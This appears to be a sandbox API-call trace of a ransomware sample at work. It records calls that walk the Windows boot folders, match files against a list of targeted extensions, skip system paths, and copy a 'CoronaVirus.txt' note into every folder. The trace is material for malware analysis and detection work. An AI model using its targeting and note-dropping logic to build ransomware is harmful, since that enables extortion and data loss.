	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.393] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.393] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.393] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.393] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.393] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.393] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.393] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.393] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.393] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb103fda, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb103fda, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.393] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.393] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.393] malloc (_Size=0x1000) returned 0x2f45630
	[0083.393] _swprintf (in: param_1=0x2f45630, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-PT\\CoronaVirus.txt") returned 29
	[0083.393] wcsstr (_Str="C:\\Boot\\pt-PT\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.393] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.393] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.393] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.393] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.393] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.393] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0083.393] wcsncmp (_String1="q", _String2=".", _MaxCount=0x1) returned 67
	[0083.393] wcsncmp (_String1="qp", _String2="..", _MaxCount=0x2) returned 67
	[0083.393] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\qps-ploc") returned 16
	[0083.393] wcsncmp (_String1="C:\\Boot\\q", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.394] wcsstr (_Str="C:\\Boot\\qps-ploc", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.394] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\qps-ploc\\CoronaVirus.txt" (normalized: "c:\\boot\\qps-ploc\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.396] _alloca_probe () returned 0x4036d0
	[0083.396] GetFullPathNameW (in: lpFileName="C:\\Boot\\qps-ploc", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\qps-ploc", lpFilePart=0x316583c*="qps-ploc") returned 0x10
	[0083.396] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb103fda, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600710
	[0083.396] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.396] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb103fda, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.396] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.396] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.396] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.396] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.396] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb103fda, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb103fda, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.396] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.396] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.396] malloc (_Size=0x1000) returned 0x2f46638
	[0083.397] _swprintf (in: param_1=0x2f46638, param_2="%s\\%s" | out: param_1="C:\\Boot\\qps-ploc\\CoronaVirus.txt") returned 32
	[0083.397] wcsstr (_Str="C:\\Boot\\qps-ploc\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.397] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.397] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.397] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.397] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.397] FindClose (in: hFindFile=0x600710 | out: hFindFile=0x600710) returned 1
	[0083.397] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0083.397] wcsncmp (_String1="R", _String2=".", _MaxCount=0x1) returned 36
	[0083.397] wcsncmp (_String1="Re", _String2="..", _MaxCount=0x2) returned 36
	[0083.397] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\Resources") returned 17
	[0083.397] wcsncmp (_String1="C:\\Boot\\R", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.397] wcsstr (_Str="C:\\Boot\\Resources", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.397] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\Resources\\CoronaVirus.txt" (normalized: "c:\\boot\\resources\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.400] _alloca_probe () returned 0x4036d0
	[0083.400] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\Resources", lpFilePart=0x316583c*="Resources") returned 0x11
	[0083.401] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb103fda, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600b90
	[0083.401] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.401] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb103fda, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.401] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.401] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1
	[0083.401] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.401] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.401] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb103fda, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb103fda, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.401] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.401] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.401] malloc (_Size=0x1000) returned 0x2f47640
	[0083.401] _swprintf (in: param_1=0x2f47640, param_2="%s\\%s" | out: param_1="C:\\Boot\\Resources\\CoronaVirus.txt") returned 33
	[0083.401] wcsstr (_Str="C:\\Boot\\Resources\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.401] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0083.401] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0083.401] wcsncmp (_String1="en", _String2="..", _MaxCount=0x2) returned 55
	[0083.401] _swprintf (in: param_1=0x3165a90, param_2="%s\\%s" | out: param_1="C:\\Boot\\Resources\\en-US") returned 23
	[0083.401] wcsncmp (_String1="C:\\Boot\\R", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.401] wcsstr (_Str="C:\\Boot\\Resources\\en-US", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.401] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\Resources\\en-US\\CoronaVirus.txt" (normalized: "c:\\boot\\resources\\en-us\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.404] _alloca_probe () returned 0x4036d0
	[0083.405] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US", nBufferLength=0x1000, lpBuffer=0x315f818, lpFilePart=0x31575c4 | out: lpBuffer="C:\\Boot\\Resources\\en-US", lpFilePart=0x31575c4*="en-US") returned 0x17
	[0083.405] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*.*", lpFindFileData=0x31575c8 | out: lpFindFileData=0x31575c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb129f51, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0083.405] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.405] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x31575c8 | out: lpFindFileData=0x31575c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb129f51, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.405] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.405] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x31575c8 | out: lpFindFileData=0x31575c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1
	[0083.405] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.405] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.405] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x31575c8 | out: lpFindFileData=0x31575c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb129f51, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb129f51, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.405] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.405] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.405] malloc (_Size=0x1000) returned 0x2f48648
	[0083.406] _swprintf (in: param_1=0x2f48648, param_2="%s\\%s" | out: param_1="C:\\Boot\\Resources\\en-US\\CoronaVirus.txt") returned 39
	[0083.406] wcsstr (_Str="C:\\Boot\\Resources\\en-US\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.406] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x31575c8 | out: lpFindFileData=0x31575c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb129f51, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb129f51, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.406] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0083.406] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0083.406] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0083.406] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0083.406] wcsncmp (_String1="r", _String2=".", _MaxCount=0x1) returned 68
	[0083.406] wcsncmp (_String1="ro", _String2="..", _MaxCount=0x2) returned 68
	[0083.406] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\ro-RO") returned 13
	[0083.406] wcsncmp (_String1="C:\\Boot\\r", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.406] wcsstr (_Str="C:\\Boot\\ro-RO", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.406] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\ro-RO\\CoronaVirus.txt" (normalized: "c:\\boot\\ro-ro\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.409] _alloca_probe () returned 0x4036d0
	[0083.410] GetFullPathNameW (in: lpFileName="C:\\Boot\\ro-RO", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\ro-RO", lpFilePart=0x316583c*="ro-RO") returned 0xd
	[0083.410] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb129f51, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0083.410] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.410] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeb129f51, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.410] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.410] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.410] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.410] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.410] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb129f51, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb129f51, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.410] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.410] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.410] malloc (_Size=0x1000) returned 0x2f49650
	[0083.410] _swprintf (in: param_1=0x2f49650, param_2="%s\\%s" | out: param_1="C:\\Boot\\ro-RO\\CoronaVirus.txt") returned 29
	[0083.410] wcsstr (_Str="C:\\Boot\\ro-RO\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.410] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb129f51, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb129f51, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 0
	[0083.410] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
